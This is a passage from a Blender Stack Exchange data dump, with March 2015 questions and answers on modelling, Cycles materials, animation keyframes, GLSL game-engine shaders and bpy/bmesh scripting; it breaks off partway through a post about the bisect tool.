  <row Id="27793" PostTypeId="2" ParentId="27791" CreationDate="2015-03-28T12:52:04.793" Score="3" Body="&lt;p&gt;The last control point on one end is hidden, in edit mode  :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; to show all hidden points&lt;/li&gt;&#xA;&lt;li&gt;Select the two end control points and hit &lt;kbd&gt;F&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-28T12:52:04.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27794" PostTypeId="2" ParentId="27779" CreationDate="2015-03-28T13:33:29.017" Score="7" Body="&lt;p&gt;The BVH format stores bones differently to Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, it doesn't support bone-length and bone-roll, each bone is just a joint&lt;br&gt;&lt;em&gt;(as if you have many parented empties in Blender),&lt;/em&gt; so this information is lost on export, when the BVH is imported back in, the animation will match the original, but not the armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bone lengths &amp;amp; roll have to be calculated on import (because its not in the file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is simply a limitation of the BVH format, or a difference at least, with Blender's armature representation.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-03-28T14:35:53.090" LastActivityDate="2015-03-28T14:35:53.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27795" PostTypeId="2" ParentId="27755" CreationDate="2015-03-28T14:17:59.747" Score="1" Body="&lt;p&gt;If your keyframes are interfering then that means you have keyframed the scale values of all or some of your objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the scale doesn't change throughout your animation then you can delete all the scale keyframes and adjust the scale as you want. Using either the dopesheet or the graph editor, in the header you will find a little magnifying glass, clicking this will show a text box where you can enter &lt;code&gt;scale&lt;/code&gt; then press &lt;kbd&gt;&amp;#9166; Enter&lt;/kbd&gt;, this will filter the display to only show scale channels so you can easily select all &lt;kbd&gt;A&lt;/kbd&gt; and delete &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the scale keyframes have been removed you can select all the objects and by using the object properties panel right click on the scale values and select copy to selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JscUh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an addon called &lt;code&gt;Copy attributes menu&lt;/code&gt; that adds a menu to &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; that allows you to copy attributes to all selected objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have keyframed changes in the scale values then you will want to use the graph editor, use the filter to show only scale channels. Now you can select all &lt;kbd&gt;A&lt;/kbd&gt; and move them only on the Y axis to the size you want, &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;. You can either move them a specific amount by entering a number or watch the scale properties as you move it.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-28T14:17:59.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27796" PostTypeId="1" CreationDate="2015-03-28T14:29:28.977" Score="2" ViewCount="668" Body="&lt;p&gt;I'm currently modifying a mesh using a Python script. I just realised that my mesh have a few t-junctions, which I would like to fix. Is there any way to fix t-junctions in Blender? If so, is it also possible to do this from script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clarification: My mesh contains t-junctions where the vertices are disconnected from the opposite face. A script or Blender feature that just 'glues'/connects the vertex would also work fine for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U2USC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13221" LastEditorUserId="13221" LastEditDate="2015-03-28T16:18:29.023" LastActivityDate="2015-03-28T17:06:15.603" Title="Fix t-junction in mesh" Tags="&lt;python&gt;&lt;mesh&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27797" PostTypeId="1" AcceptedAnswerId="27806" CreationDate="2015-03-28T14:30:46.583" Score="5" ViewCount="3118" Body="&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/M7B3mkh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/M7B3mkh.png&quot; alt=&quot;laser beam and cycles nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a bunch of planes with a laser beam texture applied, from the &lt;a href=&quot;https://web.archive.org/web/20140816053019/http://cgcookie.com/blender/2014/08/12/create-laser-beam-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CGCookie tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the beam to fade along the length of the beam. Unfortunately fiddling around with the color gradient node has the fading action along the wrong axis (side to side instead of end to end).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="2217" LastEditDate="2015-11-22T23:35:26.693" LastActivityDate="2015-11-22T23:35:26.693" Title="Gradient Fade on this texture in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27799" PostTypeId="2" ParentId="27711" CreationDate="2015-03-28T14:54:55.017" Score="2" Body="&lt;p&gt;In blender's VSE we don't have exact control of timing, we can only align to a frame. To get a timing of half a second you will want to use an even number of frames, at 24 fps 12 frames will be 500ms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the dot in place you want an image of the dot, save it as a png so you have the alpha channel to easily clear out everything but the dot. In the VSE add the image, ensure it is above your video, then in the strip properties &lt;kbd&gt;N&lt;/kbd&gt; set the blend type to Alpha Over and set the frame length what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zckFm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To position the spot, under strip input, enable Image Offset and change the X and Y values until it is in place. You could also create an image the same resolution as your video and place the dot where you want it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bfkQT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then smile as you see the dot on your video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dFrL4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-28T14:54:55.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27800" PostTypeId="2" ParentId="27755" CreationDate="2015-03-28T16:16:55.933" Score="3" Body="&lt;p&gt;Set the scale to the value you need and all the scale keyframes will be updated accordingly :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scale = 2     #change this value  'scaling factor'&#xA;&#xA;for action in  bpy.data.actions :&#xA;    for fcurve in action.fcurves :&#xA;        if fcurve.data_path == 'scale':&#xA;            for p in fcurve.keyframe_points :&#xA;                p.co[1] *= scale&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-28T16:16:55.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27801" PostTypeId="2" ParentId="27780" CreationDate="2015-03-28T16:36:50.047" Score="3" Body="&lt;p&gt;For a game engine, use triangles. Most game engines do not support ngons anyway, and the ones that do are just converting the ngon to triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general modeling, you should try to avoid triangles and ngons (there are some cases where they are ok), however when modeling for a game, low poly takes precedent over nice topology, so triangles are normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, even if it was not a game model, I would not want a ngon in the middle of the model. Ngons have a nasty way of deforming a model, and any ngon that is not perfectly flat will cause &lt;a href=&quot;https://blender.stackexchange.com/q/7729/2217&quot;&gt;shading artifacts&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/1684/2217&quot;&gt;What is the technical difference between an Ngon and a bunch of Tri&amp;#39;s?&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://blender.stackexchange.com/q/89/2217&quot;&gt;When should N-Gons be used, and when shouldn&amp;#39;t they?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-03-28T16:36:50.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27802" PostTypeId="2" ParentId="27796" CreationDate="2015-03-28T16:48:15.220" Score="3" Body="&lt;p&gt;I came up with the solution below, which seems to work. Generally I just create faces in the holes (the black on the figure above) and finally dissolve degenerate (since the newly introduced faced has the area of zero). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from math import radians, degrees, pi, atan2&#xA;from mathutils import Vector, Euler&#xA;&#xA;def isEdgesOverlapping(v, e1, e2):&#xA;    if e1 == e2:&#xA;        return False&#xA;    v0 = v.co&#xA;    v1 = None&#xA;    v2 = None&#xA;    if (e1.verts[0] == v):&#xA;        v1 = e1.verts[1].co&#xA;    else:&#xA;        v1 = e1.verts[0].co&#xA;    if (e2.verts[0] == v):&#xA;        v2 = e2.verts[1].co&#xA;    else:&#xA;        v2 = e2.verts[0].co&#xA;    dir1 = (v1 - v0).normalized()&#xA;    dir2 = (v2 - v0).normalized()&#xA;    if dir1.cross(dir2) &amp;lt; 0.00001 and dir1.dot(dir2) &amp;gt; 0.5:&#xA;        return True&#xA;    return False&#xA;&#xA;&#xA;def fixTJunctions2(bm): &#xA;    for e in bm.edges:&#xA;        e.select = False&#xA;    for v in bm.verts:&#xA;            for e1 in v.link_edges:&#xA;                for e2 in v.link_edges:&#xA;                    if isEdgesOverlapping(v, e1, e2):&#xA;                        e1.select = True&#xA;                        e2.select = True&#xA;                        bpy.ops.mesh.edge_face_add()&#xA;                        return True&#xA;    return False   &#xA;&#xA;def fixTJunctions(obj):&#xA;    if bpy.context.mode == 'OBJECT':&#xA;        bpy.ops.object.mode_set(mode='EDIT', toggle=True)&#xA;    bm = bmesh.from_edit_mesh(obj.data)&#xA;    for e in bm.edges:&#xA;        e.select = False    &#xA;    continueLoop = True &#xA;    count = 0&#xA;    while continueLoop:&#xA;        bm.faces.ensure_lookup_table()&#xA;        bm.edges.ensure_lookup_table()&#xA;        bm.verts.ensure_lookup_table()&#xA;        continueLoop = fixTJunctions2(bm)&#xA;        count = count + 1&#xA;    if count &amp;gt; 1:&#xA;        bpy.ops.mesh.dissolve_degenerate()&#xA;&#xA;obj = bpy.context.active_object &#xA;fixTJunctions(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13221" LastEditorUserId="13221" LastEditDate="2015-03-28T17:06:15.603" LastActivityDate="2015-03-28T17:06:15.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27803" PostTypeId="2" ParentId="27775" CreationDate="2015-03-28T17:17:29.170" Score="5" Body="&lt;p&gt;You can add a &lt;a href=&quot;http://www.blender.org/manual/composite_nodes/types/color/mix.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mix&lt;/em&gt; node&lt;/a&gt;, and leave it set to mix. Take the &lt;a href=&quot;https://i.stack.imgur.com/UcflM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;first image&lt;/a&gt; and plug it into the first color socket &lt;em&gt;Color1&lt;/em&gt; and &lt;em&gt;Fac&lt;/em&gt;. Plug the &lt;a href=&quot;https://i.stack.imgur.com/iV1iN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;second image&lt;/a&gt; into the &lt;em&gt;Color2&lt;/em&gt; socket.&lt;br&gt;&#xA;If the image in the top socket is looking pale, add a color ramp node to the wire going to the &lt;em&gt;Fac&lt;/em&gt;, and boost the contrast slightly (by moving the black to the right).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QNfqV.png&quot; alt=&quot;cycles material nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JIS3z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JIS3zt.png&quot; alt=&quot;test image L&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/jpgc6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jpgc6t.png&quot; alt=&quot;test image R&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;However with these images that do not have white backgrounds, you would have to crush the black and white in the color ramp node,&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YCjjvm.png&quot; alt=&quot;colors crushed together in the ColorRamp node&quot;&gt;&lt;br&gt;&#xA;or just add a &lt;em&gt;Separate RGB&lt;/em&gt; node. Then pick the channel that has the best difference, in this case the Red channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DG8qI.png&quot; alt=&quot;cycles nodes separate RGB node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;em&gt;Fac&lt;/em&gt; and color &lt;em&gt;mix&lt;/em&gt; has the advantage of not returning a darker result than either image, like some of the other color operations will. &lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-08-05T21:57:46.380" LastActivityDate="2015-08-05T21:57:46.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27805" PostTypeId="1" AcceptedAnswerId="81040" CreationDate="2015-03-28T19:40:09.283" Score="11" ViewCount="2625" Body="&lt;p&gt;I've just started playing around with LuxRender in Blender. I've made a scene with a sun and light going through a slit into a prism. To the prism I have assigned the prisma material from the LuxRender materials database. When I then render the whole prism seems to glow like the image below:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NFjuK.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I then added the 'air' volume as the default exterior volume and the whole scene just ended up glowing:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fW4Fr.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using a Glass material I seem to be able to get some renders that look quite normal, so any help with Glass 2 is welcome! Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="915" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2021-04-18T07:31:10.100" Title="What's going wrong with my Luxrender Prism?" Tags="&lt;rendering&gt;&lt;light&gt;&lt;luxrender-render-engine&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27806" PostTypeId="2" ParentId="27797" CreationDate="2015-03-28T20:03:27.583" Score="6" Body="&lt;p&gt;This can be done quite a number of different ways, I have listed three.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could make a new UV map, and rotate the uvs 90° (like &lt;a href=&quot;https://blender.stackexchange.com/questions/27797/gradient-fade-on-this-texture#comment42383_27797&quot;&gt;chebhou&lt;/a&gt; said). Then use that uv map just for the length fade.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Di8MT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Di8MT.png&quot; alt=&quot;cycles material nodes, multiple UV maps&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could add a &lt;em&gt;Gradient Texture&lt;/em&gt; node (or a image of a gradient) and use a mapping node to control which way the gradient is going.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qXZXc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qXZXc.png&quot; alt=&quot;cycles material nodes, mapping node&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;sub&gt;(my favorite)&lt;/sub&gt;&lt;/em&gt; You could add a &lt;em&gt;Texture Coordinate&lt;/em&gt; node and then a &lt;em&gt;Separate XYZ&lt;/em&gt; node. That will give you a gradient running along the axis specified. In this picture it would be black at the left edge, and running along the X axis white at the right edge.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zogNj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zogNj.png&quot; alt=&quot;cycles material nodes, texture coordinates&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So your whole setup could look something like this. The X axis from the separate node is used for the &quot;length fade.&quot; The Y axis is how I'm creating the beam fading out top to bottom. Then the &lt;em&gt;Multiply&lt;/em&gt; node combines the two gradients.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/3QSi5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3QSi5.png&quot; alt=&quot;cycles material nodes for laser beam&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-03-28T20:03:27.583" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27807" PostTypeId="1" AcceptedAnswerId="27809" CreationDate="2015-03-28T20:04:19.773" Score="6" ViewCount="2322" Body="&lt;p&gt;I'm trying to create (using Blender 2.72) a realistic model of a lamp shade (which shape can be roughly represented as a cylinder with no caps and non-zero thickness of the walls) made of a colored matt glass that would do the following (having a small sphere with a white &quot;Emission&quot; shader placed in the center of it):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Attenuate the light coming through it.&lt;/li&gt;&#xA;&lt;li&gt;Change the color of the light coming through it.&lt;/li&gt;&#xA;&lt;li&gt;Reflect the light off its internal surface for the rays falling at low angles and leaving the shade through its upper/lower aperture (optional).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My current knowledge of Cycles materials (or, the lack of it) is not letting me properly &quot;wrapping&quot; my head around this task successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints on what should the graph look like are appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1168" LastActivityDate="2015-03-28T20:26:07.170" Title="Colored matt glass shade for lamp in cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27809" PostTypeId="2" ParentId="27807" CreationDate="2015-03-28T20:18:24.583" Score="9" Body="&lt;p&gt;I think all you need is a rough glass shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0lPrT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GQx7u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filtering out certain colors is a fairly simple matter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NTo1h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-03-28T20:26:07.170" LastActivityDate="2015-03-28T20:26:07.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27810" PostTypeId="1" CreationDate="2015-03-28T21:21:39.080" Score="2" ViewCount="431" Body="&lt;p&gt;Here's my script, which I activate in the game engine with a python controller, applied to a cylinder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to achieve a pretty good result by following the tutorial on &#xA;&lt;a href=&quot;http://en.wikibooks.org/wiki/GLSL_Programming/Blender/Silhouette_Enhancement&quot; rel=&quot;nofollow&quot;&gt;http://en.wikibooks.org/wiki/GLSL_Programming/Blender/Silhouette_Enhancement&lt;/a&gt;&#xA;at least when the tube is vertical.&#xA;when I rotate it by ninety degrees, strange thing happen.&#xA;someone wanna give it a look?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, it looked like the best way to draw a lightsaber without billboards, though perhaps there are smartest ones.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;&#xA;VertexShader = &quot;&quot;&quot;&#xA;&#xA;varying vec3 varyingNormalDirection;&#xA;varying vec3 varyingViewDirection;    &#xA;&#xA;void main()&#xA;{          &#xA;    varyingNormalDirection = normalize(gl_NormalMatrix * gl_Normal);  &#xA;    varyingViewDirection = normalize(gl_ModelViewMatrix * gl_Vertex);&#xA;&#xA;    gl_Position = gl_ModelViewProjectionMatrix * gl_Vertex;&#xA;}&#xA;&quot;&quot;&quot;&#xA;&#xA;FragmentShader = &quot;&quot;&quot;&#xA;&#xA;varying vec3 varyingNormalDirection;&#xA;varying vec3 varyingViewDirection;    &#xA;&#xA;void main()&#xA;{   &#xA;    // I project the two vectors on the plane y = 0&#xA;    vec2 normalDirection = normalize(varyingNormalDirection.xz);&#xA;    vec2 viewDirection = normalize(varyingViewDirection.xz);&#xA;&#xA;    const vec4 color = vec4(1.0,1.0,1.0,0.3);&#xA;&#xA;    //      opacity equals infinity when view and normal have an angle of 0,&#xA;    //      equals 0.001 when they have an angle of 90&#xA;    //      I also multiply for the dot product between view and normal&#xA;    //      which is 1 at center, 0 at edge, to increase the falloff&#xA;    float dotProduct = abs(dot(viewDirection, normalDirection));&#xA;    float opacity = min(1.0, dotProduct * 0.01 / (1.0 - dotProduct) );&#xA;&#xA;    //      with opacity I'm also varying the color, from green to white&#xA;    gl_FragColor = vec4(1.*opacity,1.0,1.*opacity,opacity*2.);&#xA;}&#xA;&quot;&quot;&quot;&#xA;&#xA;mesh = cont.owner.meshes[0]&#xA;&#xA;for mat in mesh.materials:&#xA;&#xA;shader = mat.getShader()&#xA;&#xA;if shader != None:&#xA;&#xA;    if not shader.isValid():&#xA;&#xA;        shader.setSource(VertexShader, FragmentShader, 1)&#xA;&#xA;        mat.setBlending(bge.logic.BL_SRC_ALPHA, bge.logic.BL_ONE_MINUS_SRC_ALPHA);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13403" LastActivityDate="2015-03-28T21:21:39.080" Title="GLSL Lightsaber (per vertex lighting)" Tags="&lt;game-engine&gt;&lt;shaders&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27813" PostTypeId="1" AcceptedAnswerId="27824" CreationDate="2015-03-29T02:13:38.893" Score="0" ViewCount="935" Body="&lt;p&gt;actually I'm trying to get the vertice position in the blender's window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks to &lt;code&gt;bpy.context.window.width&lt;/code&gt; and &lt;code&gt;bpy.context.window.height&lt;/code&gt; I know the windows size but how to get  the vertice's Horizontal and vertical location in the window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it is possible because I can &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.Window.html?highlight=cursor_warp#bpy.types.Window.cursor_warp&quot; rel=&quot;nofollow&quot;&gt;set the cursor&lt;/a&gt; (Operating System cursor) to some location with &lt;code&gt;cursor_warp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-03-29T12:51:03.920" Title="how to get the vertice's Horizontal and vertical location in the window?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27814" PostTypeId="1" AcceptedAnswerId="27843" CreationDate="2015-03-29T02:30:47.017" Score="2" ViewCount="1213" Body="&lt;p&gt;&lt;strong&gt;UPDATE 1:  how calc the 3th vector to mathutils.geometry.normal(vectors)??&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After @Chebhou answer I tried my &quot;bisector tool&quot; again... with mesh and bmesh.. now the problem is the 3th vector to calc the plane_normal in &lt;code&gt;mathutils.geometry.normal(vectors)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that 3th vector should be align to view..... then I tried with camera and or cursor location with this results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;inicial state is:  &lt;a href=&quot;https://dl.dropboxusercontent.com/u/4230273/D_O/text%20cut.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;download .blend please&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/STP04.png&quot; alt=&quot;inicial state&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the first try&lt;/strong&gt; with&quot;pure&quot; bisect tool give this data... this is correct then I need reproduce this same data with my addon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.bisect(plane_co=(1.57825, 1.50332, -0.165924), plane_no=(0.695399, -0.691791, 0.194541), xstart=167, xend=628, ystart=443, yend=422)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pqqA6.png&quot; alt=&quot;bisect tool&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;second try&lt;/strong&gt; is with bpy.ops.mesh.bisect that give me this data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in this case vectors are vertice 1 and vertice 2 selected and the camera location&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you see the cut is good but the location (I think the plane_co) is wrong!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.bisect(plane_co=(1.36157, 1.69042, 0.804025), plane_no=(-0.660225, 0.660225, -0.358059), use_fill=False, clear_inner=False, clear_outer=False, threshold=0.0001, xstart=404, xend=770, ystart=468, yend=450, cursor=1002)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S307X.png&quot; alt=&quot;bisect addon 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;last try&lt;/strong&gt; give me this data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/thG2F.png&quot; alt=&quot;bmesh data&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you see , plane_co is correct but the plane_no is incorrect!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q1QaO.png&quot; alt=&quot;bmesh bisect result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;how calc the 3th vector to mathutils.geometry.normal(vectors)??&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ORIGINAL POST&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I have a problem with the bisect tool... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is from mesh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.bisect(&#xA;   plane_co=plane_co,&#xA;   plane_no=plane_no, &#xA;   use_fill=False, clear_inner=False, &#xA;   clear_outer=False, threshold=0.0001, &#xA;   xstart=0, &#xA;   xend=0, &#xA;   ystart=0, &#xA;   yend=0, &#xA;   cursor=1002)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this from bmesh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bmesh.ops.bisect_plane(&#xA;            bm,&#xA;            geom=visible_geom,&#xA;            dist=dist,&#xA;            plane_co=plane_co, &#xA;            plane_no=plane_no,&#xA;            use_snap_center=False,&#xA;            clear_outer=False,&#xA;            clear_inner=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after a lot of effort I thought that  I found the plane_normal equation..... for example for  bmesh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         v1,v2 = [v.co for v in bm.verts if (v.select == True and v.hide == False)]&#xA;&#xA;&#xA;        # plane_no math:&#xA;&#xA;        normal = 